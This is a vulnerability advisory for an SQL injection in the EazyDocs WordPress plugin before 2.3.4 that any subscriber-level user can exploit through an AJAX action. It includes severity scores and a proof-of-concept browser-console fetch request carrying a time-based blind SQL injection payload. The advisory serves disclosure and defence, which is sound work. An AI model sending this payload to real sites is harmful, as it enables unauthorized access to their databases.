Lucene search

K
wpvulndbDao Xuan HieuWPVDB-ID:44F5A29A-05F9-40D2-80F2-6FB2BDA60D79
HistoryNov 20, 2023 - 12:00 a.m.

EazyDocs < 2.3.4 - Subscriber + SQLi

2023-11-2000:00:00
Dao Xuan Hieu
wpscan.com
14
eazydocs sql injection subscriber access ajax_php wordpress plugin

7.5 High

AI Score

Confidence

High

0.001 Low

EPSS

Percentile

19.4%

Description The plugin does not properly sanitize and escape “data” parameter before using it in an SQL statement via an AJAX action, which could allow any authenticated users, such as subscribers, to perform SQL Injection attacks.

PoC

1. Create a document then create some sections in the document 2. Log in as Subscriber 3. Paste the following script in the browser’s console, and notice it hangs for 5 seconds, indicating the injection succeeded: await fetch("/wp-admin/admin-ajax.php", { "credentials": "include", "headers": { "content-type": "application/x-www-form-urlencoded", }, "body": "action=eaz_nestable_docs&amp;data;=%5b%7b%22id%22%3a%2286'and(select*from(select(sleep(5)))a)%23%22%7d%5d", "method": "POST", "mode": "cors" });

CPENameOperatorVersion
eq2.3.4

7.5 High

AI Score

Confidence

High

0.001 Low

EPSS

Percentile

19.4%

Related for WPVDB-ID:44F5A29A-05F9-40D2-80F2-6FB2BDA60D79